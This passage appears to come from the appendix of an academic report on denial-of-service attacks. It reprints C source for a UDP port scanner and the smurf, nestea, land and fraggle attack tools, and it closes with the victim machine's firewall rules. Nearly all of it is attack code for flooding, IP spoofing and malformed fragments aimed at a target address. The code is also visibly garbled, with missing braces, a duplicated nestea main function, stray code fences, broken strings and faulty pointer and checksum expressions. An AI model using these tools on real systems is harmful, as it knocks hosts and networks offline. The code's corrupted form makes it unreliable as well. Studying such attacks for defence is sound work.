        printf ("error\n");
    else
        printf (".");
    count++;
}

return 0;
}

2. UDP Attack Code (Udp.c)

#include <stdlib.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <strings.h>
#include <errno.h>

#define MAXPACKET 4096
#define DEFAULT_TIMEOUT 10
#define DEFAULT_RESEND 6
#define SPORT 1
#define EPORT 1024

extern char *optarg;
extern int optind;

void usage(char *string)
{
    fprintf(stderr,"usage: %s hostname|ipaddr [-s start port] 
    [-e end port] [-t timeout]\n" ,string);
    exit(-1);
}

void start_scanning(unsigned short sport,unsigned short eport,struct in_addr myaddr,unsigned short timeout,int maxretry)
{
    struct sockaddr_in myudp;
    char buff[] = "This was a blatant UDP port scan."
    int udpsock, rawsock, retry, retval,iplen;
    unsigned short port;
    fd_set r;
    struct timeval mytimeout;
    struct icmp *packet;
    struct ip *iphdr;
    struct servent *service;
    unsigned char recvbuff[MAXPACKET];

    if((udpsock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0)
    {
        perror("socket()");
        exit(-1);
    }

    if((rawsock = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP)) < 0)
    {
        perror("socket()");
        exit(-1);
    }
if(!(sport))
    sport = SPORT;
if(!(eport))
    eport = EPORT;
if(!(timeout))
    timeout = DEFAULT_TIMEOUT;
if(!(maxretry))
    maxretry = DEFAULT_RESEND;

if(sport > eport)
{
    fprintf(stderr,"Uh you've got the start-port at %u and the
    end-port at %u this doesn't look right.\n",sport,eport);
    exit(-1);
}

bcopy(&myaddr.s_addr,&myudp.sin_addr.s_addr,sizeof(myaddr.s_addr));

myudp.sin_family = AF_INET;
mytimeout.tv_sec = timeout;
mytimeout.tv_usec = 0;

for(port = sport;port < eport;port++)
{
    myudp.sin_port = htons(port);

    retry = 0;

    while(retry++ < maxretry)
    {
        /* I'll use select to do the timeout. It's a bit more
         * portable'. Than using a signal */

        if((sendto(udpsock,buff,sizeof(buff),0x0,(struct sockaddr *)
            &myudp,sizeof(myudp))) < 0)
        {
            perror("sendto");
            exit(-1);
        }
        FD_ZERO(&r);
        FD_SET(rawsock,&r);

        retval = select((rawsock+1),&r,NULL,NULL,&mytimeout);
        if(retval)
if((recvfrom(rawsock,&recvbuff,sizeof(recvbuff),0x0,NULL,NULL)) < 0)
{
    perror("Recv");
    exit(-1);
}

/* Problem with getting back the address of the host
is that not all hosts will answer icmp unreachable
directly from their own host. */

iphdr = (struct ip *)recvbuff;
iplen = iphdr->ip_hl << 2;

packet = (struct icmp *)(recvbuff + iplen);

if((packet->icmp_type == ICMP_UNREACH) && (packet->icmp_code == ICMP_UNREACH_PORT))
    break;
else
    continue;

if(retry >= maxretry)
{
    if((service = getservbyport(htons(port),"udp")) == NULL)
        fprintf(stdout,"Unknown port %u, open.\n",port);
    else
        fprintf(stdout,"UDP service %s open.\n",service->s_name);
    fflush(stdout);
}

struct in_addr resolv(char *address)
{
    struct in_addr myaddr;
    struct hostent *host;
    if((myaddr.s_addr = inet_addr(address)) == INADDR_NONE)
    {
        if((host = gethostbyname(address)) == NULL)
            fprintf(stderr,"Invalid address\n",address);
        else
            bcopy((int *) &host->h_addr,&myaddr.s_addr,
                host->h_length);
    }
}
int main(int argc, char **argv)
{
    unsigned short sport = 0;
    unsigned short eport = 0;
    unsigned short timeout = 0;
    unsigned short maxretry = 0;
    struct in_addr myaddr;
    char c;

    if(argc < 2)
    {
        usage(argv[0]);
        exit(-1);
    }

    while((c = getopt(argc, argv, "s:e:t:r:")) != EOF)
    {
        switch(c)
        {
        case 's':
        {
            sport = (unsigned int)atoi(optarg);
            break;
        }
        case 'e':
        {
            eport = (unsigned int)atoi(optarg);
            break;
        }
        case 't':
        {
            timeout = (unsigned int)atoi(optarg);
            break;
        }
        case 'r':
        {
            maxretry = (unsigned int)atoi(optarg);
            break;
        }
        default:
        {
            usage(argv[0]);
        }
    }
myaddr = resolv(argv[optind]);

start_scanning(sport,eport,myaddr,timeout,maxretry);

exit(0);

3. SMURF Attack Code (sumrf.c)

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>

void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
unsigned short in_chksum(u_short *, int);

/* stamp */
char id[] = "$Id: smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";

int main (int argc, char *argv[])
{
    struct sockaddr_in sin;
    struct hostent *he;
    FILE *bcastfile;
    int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
    char buf[32], **bcastaddr = malloc(8192);

    banner();
    signal(SIGINT, ctrlc);

    if (argc < 6) usage(argv[0]);

    if ((he = gethostbyname(argv[1])) == NULL) {
        perror("resolving source host");
    }
exit(-1);
}
memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(0);

num = atoi(argv[3]);
delay = atoi(argv[4]);
pktsize = atoi(argv[5]);

if ((bcastfile = fopen(argv[2], "r")) == NULL) {
    perror("opening bcast file");
    exit(-1);
}
x = 0;
while (!feof(bcastfile)) {
    fgets(buf, 32, bcastfile);
    if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0]))
        continue;
    for (i = 0; i < strlen(buf); i++)
        if (buf[i] == '\n') buf[i] = '\0';
    bcastaddr[x] = malloc(32);
    strcpy(bcastaddr[x], buf);
    x++;
}
bcastaddr[x] = 0x0;
fclose(bcastfile);

if (x == 0) {
    fprintf(stderr, "ERROR: no broadcasts found in file
%s\n\n", argv[2]);
    exit(-1);
}
if (pktsize > 1024) {
    fprintf(stderr, "ERROR: packet size must be < 1024\n\n"),
    exit(-1);
}

if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
    perror("getting socket");
    exit(-1);
}
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast,
sizeof(bcast));

printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

for (i = 0; i < num || !num; i++) {
    if (!(i % 25)) { printf("."); fflush(stdout); }
    smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
    cycle++;
    if (bcastaddr[cycle] == 0x0) cycle = 0;
usleep(delay);
}
puts("\n\n");
return 0;
}

void banner (void)
{
    puts("\nsmurf.c v4.0 by TFreak\n");
}

void usage (char *prog)
{
    fprintf(stderr, "usage: %s <target> <bcast file> "
        "<num packets> <packet delay> <packet size>\n\n        "target = address to hit\n        "bcast file = file to read broadcast addresses from\n        "num packets = number of packets to send (0 = flood)\n        "packet delay = wait between each packet (in ms)\n        "packet size = size of packet (< 1024)\n        ",
    prog);
    exit(-1);
}

void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
    struct iphdr *ip;
    struct icmphdr *icmp;
    char *packet;

    packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
    ip = (struct iphdr *)packet;
    icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

    memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

    ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
    ip->ihl = 5;
    ip->version = 4;
    ip->ttl = 255;
    ip->tos = 0;
    ip->frag_off = 0;
    ip->protocol = IPPROTO_ICMP;
    ip->saddr = sin.sin_addr.s_addr;
ip->daddr = dest;
ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
icmp->type = 8;
icmp->code = 0;
icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);

sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
       0, (struct sockaddr *)&sin, sizeof(struct sockaddr));

free(packet);
}

void ctrlc (int ignored)
{
    puts("\nDone!\n");
    exit(1);
}

unsigned short in_chksum (u_short *addr, int len)
{
    register int nleft = len;
    register int sum = 0;
    u_short answer = 0;

    while (nleft > 1) {
        sum += *addr++;
        nleft -= 2;
    }

    if (nleft == 1) {
        *(u_char *)&answer = *(u_char *)addr;
        sum += answer;
    }

    sum = (sum >> 16) + (sum + 0xffff);
    sum += (sum >> 16);
    answer = ~sum;
    return(answer);
}

4. NESTEA Attack Code (nestea.c)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>


```c
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
#define FIX(n)  (n)
#else                   /* OpenBSD 2.1, all Linux */
#define FIX(n)  htons(n)
#endif

#define IP_MF   0x2000  /* More IP fragment en route */
#define IPH     0x14    /* IP header size */
#define UDPH    0x8     /* UDP header size */
#define MAGIC2  108
#define PADDING 256    /* datagram frame padding for first packet */
#define COUNT   500

void usage(u_char *);

u_long name_resolve(u_char *);

u_short in_cksum(u_short *, int);

void send_frags(int, u_long, u_long, u_short, u_short);

int main(int argc, char **argv)
{
    int one = 1, count = 0, i, rip_sock;
    u_long src_ip = 0, dst_ip = 0;
    u_short src_prt = 0, dst_prt = 0;
    struct in_addr addr;

    if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
        perror("raw socket");
        exit(1);
    }

    if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))< 0)
    {
        perror("IP_HDRINCL");
        exit(1);
    }

    if (argc < 3) usage(argv[0]);
    if (!((src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))))
    {
        printf(stderr, "What kind of IP address is that?\n");
        exit(1);
    }

    void usage(u_char *);
    u_long name_resolve(u_char *);
    u_short in_cksum(u_short *, int);
    void send_frags(int, u_long, u_long, u_short, u_short);

    int main(int argc, char **argv)
    {
        int one = 1, count = 0, i, rip_sock;
        u_long src_ip = 0, dst_ip = 0;
        u_short src_prt = 0, dst_prt = 0;
        struct in_addr addr;

        if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
        {
            perror("raw socket");
            exit(1);
        }

        if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))< 0)
        {
            perror("IP_HDRINCL");
            exit(1);
        }

        if (argc < 3) usage(argv[0]);
        if (!((src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))))
        {
            printf(stderr, "What kind of IP address is that?\n");
            exit(1);
        }
    }
```
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
  switch (i)
  {
  case 's':
      src_prt = (u_short)atoi(optarg);
      break;
  case 't':
      dst_prt = (u_short)atoi(optarg);
      break;
  case 'n':               /* number to send */
      count   = atoi(optarg);
      break;
  default :               /* NOTREACHED */
      usage(argv[0]);
      break;
  }
}

srandom((unsigned)(time((time_t)0)));  
if (!src_prt) src_prt = (random() % 0xffff);    
if (!dst_prt) dst_prt = (random() % 0xffff);    
if (!count) count = COUNT;

fprintf(stderr, "Nestea Code ");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d
", inet_ntoa(addr),
src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, "  To: %15s.%5d
", inet_ntoa(addr),
dst_prt);
fprintf(stderr, " Amt: %5d
", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++)
{
  send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
  fprintf(stderr, "b00m ");  
  usleep(500);
}

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt)
{
  int i;
  u_char *packet = NULL, *p_ptr = NULL;
  u_char byte;
  struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;

packet = (u_char *)malloc(IPH + UDPH + PADDING+40);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

byte = 0x45;
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2;
* ((u_short *)p_ptr) = FIX(IPH + UDPH + 10);
p_ptr += 2;
* ((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
* ((u_short *)p_ptr) |= FIX(IP_MF);
p_ptr += 2;
* ((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4;
* ((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
* ((u_long *)p_ptr) = dst_ip;
p_ptr += 4;
* ((u_short *)p_ptr) = htons(src_prt);
p_ptr += 2;
* ((u_short *)p_ptr) = htons(dst_prt);
p_ptr += 2;
* ((u_short *)p_ptr) = htons(8 + 10);

if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin,
 sizeof(struct sockaddr)) == -1)
{
 perror("\nsendto"));
 free(packet);
 exit(1);
}

p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

byte = 0x45;
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
* ((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2);
p_ptr += 2;
* ((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
* ((u_short *)p_ptr) = FIX(6); /* IP frag flags and offset */
p_ptr += 2;
*(*(u_short *)p_ptr) = 0x40;            /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4;
*(*(u_long *)p_ptr) = src_ip;          /* IP source address */
p_ptr += 4;
*(*(u_long *)p_ptr) = dst_ip;
p_ptr += 4;
*(*(u_short *)p_ptr) = htons(src_prt);
p_ptr += 2;
*(*(u_short *)p_ptr) = htons(dst_prt);
p_ptr += 2;
*(*(u_short *)p_ptr) = htons(8 + MAGIC2);
if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct
sockaddr *)&sin,
    sizeof(struct sockaddr)) == -1)
{
    perror("\nsendto");
    free(packet);
    exit(1);
}
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING+40);
byte = 0x4F;
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2;              /* IP TOS (skipped) */
*(*(u_short *)p_ptr) = FIX(IPH + UDPH + PADDING+40);  /* total length */
p_ptr += 2;
*(*(u_short *)p_ptr) = htons(242);          /* IP id */
p_ptr += 2;
*(*(u_short *)p_ptr) = 0 | FIX(IP_MF);
p_ptr += 2;
*(*(u_short *)p_ptr) = 0x40;                  /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4;
*(*(u_long *)p_ptr) = src_ip;
p_ptr += 4;
*(*(u_long *)p_ptr) = dst_ip;
p_ptr += 44;
*(*(u_short *)p_ptr) = htons(src_prt);
p_ptr += 2;
*(*(u_short *)p_ptr) = htons(dst_prt);
p_ptr += 2;
*(*(u_short *)p_ptr) = htons(8 + PADDING);
for(i=0;i<PADDING;i++)
{
    p_ptr[i++] = random()%255;
}
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
        sizeof(struct sockaddr)) == -1)
{
    perror("\nsendto");
    free(packet);
    exit(1);
}
free(packet);

u_long name_resolve(u_char *host_name)
{
    struct in_addr addr;
    struct hostent *host_ent;

    if ((addr.s_addr = inet_addr(host_name)) == -1)
    {
        if (!(host_ent = gethostbyname(host_name))) return (0);
        bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
    }
    return (addr.s_addr);
}

void usage(u_char *name)
{
    fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
            name);
    exit(0);
}

5. LAND Attack (land.c)

#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <netinet/protocols.h>

struct pseudohdr
{
    struct in_addr saddr;
    struct in_addr daddr;
    u_char zero;

u_char protocol;
  u_short length;
  struct tcphdr tcpheader;
};

u_short checksum(u_short * data, u_short length)
{
  register long value;
  u_short i;

  for(i=0; i<(length>>1); i++)
    value+=data[i];

  if((length&1)==1)
    value+=(data[i]<<8);

  value=(value&65535)+(value>>16);
  return(~value);
}

int main(int argc, char ** argv)
{
  struct sockaddr_in sin;
  struct hostent * hoste;
  int sock;
  char buffer[40];
  struct iphdr * ipheader=(struct iphdr *) buffer;
  struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
  struct pseudohdr pseudoheader;

  fprintf(stderr, "land.c by m3lt, FLC\n");

  if(argc<3)
  {
    fprintf(stderr, "usage: %s IP port\n", argv[0]);
    return(-1);
  }
  bzero(&sin, sizeof(struct sockaddr_in));
  sin.sin_family=AF_INET;

  if((hoste=gethostbyname(argv[1]))!=NULL)
    bcopy(hoste->h_addr, &sin.sin_addr, hoste->h_length);
  else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
  {
    fprintf(stderr, "unknown host %s\n", argv[1]);
    return(-1);
  }
if((sin.sin_port=htons(atoi(argv[2])))==0)
{
    fprintf(stderr,"unknown port %s\n",argv[2]);
    return(-1);
}

if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
    fprintf(stderr,"couldn't allocate raw socket\n");
    return(-1);
}

bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->version=4;
ipheader->ihl=sizeof(struct iphdr)/4;
ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->id=htons(0xF1C);
ipheader->ttl=255;
ipheader->protocol=IP_TCP;
ipheader->saddr=sin.sin_addr.s_addr;
ipheader->daddr=sin.sin_addr.s_addr;
tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0xF1C);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);

bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *)
     &pseudoheader.tcphdr,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *)
      &pseudoheader,12+sizeof(struct tcphdr));

if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
{
    fprintf(stderr,"couldn't send packet\n");
    return(-1);
}

fprintf(stderr,%s:%s landed\n",argv[1],argv[2]);
close(sock);
return(0);
}

6. FRAGGLE Attack (fraggle.c)

#include<arpa/inet.h>
#include<ctype.h>
#include<netdb.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/udp.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<signal.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<time.h>
#include<unistd.h>

struct pktinfo
{
  int ps;
  int src;
  int dst;
};

void fraggle (int, struct sockaddr_in *, u_long dest, struct pktinfo *);
void sigint (int);
unsigned short checksum (u_short *, int);

int main (int argc, char *argv[])
{
  struct sockaddr_in sin;
  struct hostent *he;
  struct pktinfo p;
  int s, num, delay, n, cycle;
  char **bcast = malloc(1024), buf[32];
  FILE *bfile;

  /* banner */
  fprintf(stderr, "fraggle.c by TFreak\n\n");

  /* capture ctrl-c */
  signal(SIGINT, sigint);

  /* check for enough cmdline args */
  if (argc < 5)
```c
{  fprintf(stderr, "usage: %s <target> <bcast file> <num packets> "
  "<packet delay> [dstport] [srcport] [psize] 

  target	= address to hit
  bcast file	= file containing broadcast addrs
  num packets	= send n packets (n = 0 is constant)
  packet delay	= usleep() between packets (in ms)
  dstport	= port to hit (default 7)
  srcport	= source port (0 for random)
  psize	= packet size

  ",argv[0]);
  exit(-1);
}

/* get port info */
if (argc >= 6)
  p.dst = atoi(argv[5]);
else
  p.dst = 7;
if (argc >= 7)
  p.src = atoi(argv[6]);
else
  p.src = 0;

/* packet size redundant if not using echo port */
if (argc >= 8)
  p.ps = atoi(argv[7]);
else
  p.ps = 1;

/* other variables */
num = atoi(argv[3]);
delay = atoi(argv[4]);

/* resolve host */
if (isdigit(*argv[1]))
  sin.sin_addr.s_addr = inet_addr(argv[1]);
else
{
  if ((he = gethostbyname(argv[1])) == NULL)
    {
      fprintf(stderr, "Can't resolve hostname!

    exit(-1);

  }
  memcpy( (caddr_t) &sin.sin_addr, he->h_addr, he->h_length);
}
sin.sin_family = AF_INET;
sin.sin_port = htons(0);

/* open bcast file and build array */
if ((bfile = fopen(argv[2], "r")) == NULL)
  { perror("opening broadcast file");
```
exit(-1);
}
n = 0;
while (fgets(buf, sizeof buf, bfile) != NULL)
{
    buf[strlen(buf) - 1] = 0;
    if (buf[0] == '#' || buf[0] == '\n' || !isdigit(buf[0]))
        continue;
    bcast[n] = malloc(strlen(buf) + 1);
    strcpy(bcast[n], buf);
    n++;
}
bcast[n] = '\0';
fclose(bfile);

/* check for addresses */
if (!n)
{
    fprintf(stderr, "Error: No valid addresses in
    file!\n\n");
    exit(-1);
}

/* create our raw socket */
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <= 0)
{
    perror("creating raw socket");
    exit(-1);
}

printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

for (n = 0, cycle = 0; n < num || !num; n++)
{
    if (!(n % 25))
    {
        printf(".");
        fflush(stdout);
    }

    srand(time(NULL) * rand() * getpid());

    fraggle(s, &sin, inet_addr(bcast[cycle]), &p);
    if (bcast[++cycle] == NULL)
        cycle = 0;
    usleep(delay);
}
sigint(0);
void fraggle (int s, struct sockaddr_in *sin, u_long dest, struct
pktinfo *p)
{
    struct iphdr *ip;
    struct udphdr *udp;
    char *packet;
    int r;

    packet = malloc(sizeof(struct iphdr) + sizeof(struct udphdr)
            + p->ps);
    ip = (struct iphdr *)packet;
    udp = (struct udphdr *) (packet + sizeof(struct iphdr));

    memset(packet, 0, sizeof(struct iphdr) + sizeof(struct
            udphdr) + p->ps);
    /* ip header */
    ip->protocol = IPPROTO_UDP;
    ip->saddr = sin->sin_addr.s_addr;
    ip->daddr = dest;
    ip->version = 4;
    ip->ttl = 255;
    ip->tos = 0;
    ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct
            udphdr) + p->ps);
    ip->ihl = 5;
    ip->frag_off = 0;
    ip->check = checksum((u_short *)ip, sizeof(struct iphdr));

    /* udp header */
    udp->len = htons(sizeof(struct udphdr) + p->ps);
    udp->dest = htons(p->dst);
    if (!p->src)
        udp->source = htons(rand());
    else
        udp->source = htons(p->src);

    /* send it on its way */
    r = sendto(s, packet, sizeof(struct iphdr) + sizeof(struct
            udphdr) + p->ps,
        0, (struct sockaddr *) sin, sizeof(struct
            sockaddr_in));
    if (r == -1)
    {
        perror("\nSending packet");
        exit(-1);
    }

    free(packet); /* free willy 2! */
}

unsigned short checksum (u_short *addr, int len)
{  
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

    while (nleft > 1)
    {
        sum += *w++;
        nleft--;
    }

    if (nleft == 1)
    {
        *(u_char *) (&answer) = *(u_char *) w;
        sum += answer;
    }

    sum = (sum >> 17) + (sum & 0xffff);
    sum += (sum >> 17);
    answer = -sum;
    return (answer);
}

void sigint (int ignoremewhore)
{
    fprintf(stderr, ": Done!

    exit(0);
}
APPENDIX C

FIREWALL RULES OF THE VICTIM MACHINE

# Firewall configuration written by system-config-firewall
# Manual customization of this file is not recommended.

*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:RH-Firewall-1-INPUT - [0:0]
-A INPUT -j RH-Firewall-1-INPUT
- A RH-Firewall-1-INPUT -i lo -j ACCEPT
- A RH-Firewall-1-INPUT -p icmp --icmp-type any -j ACCEPT
- A RH-Firewall-1-INPUT -p 50 -j ACCEPT
- A RH-Firewall-1-INPUT -p 51 -j ACCEPT
- A RH-Firewall-1-INPUT -p udp --dport 5353 -d 224.0.0.251 -j ACCEPT
- A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT
- A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT
- A RH-Firewall-1-INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A FORWARD -j REJECT --reject-with icmp-host-prohibited

COMMIT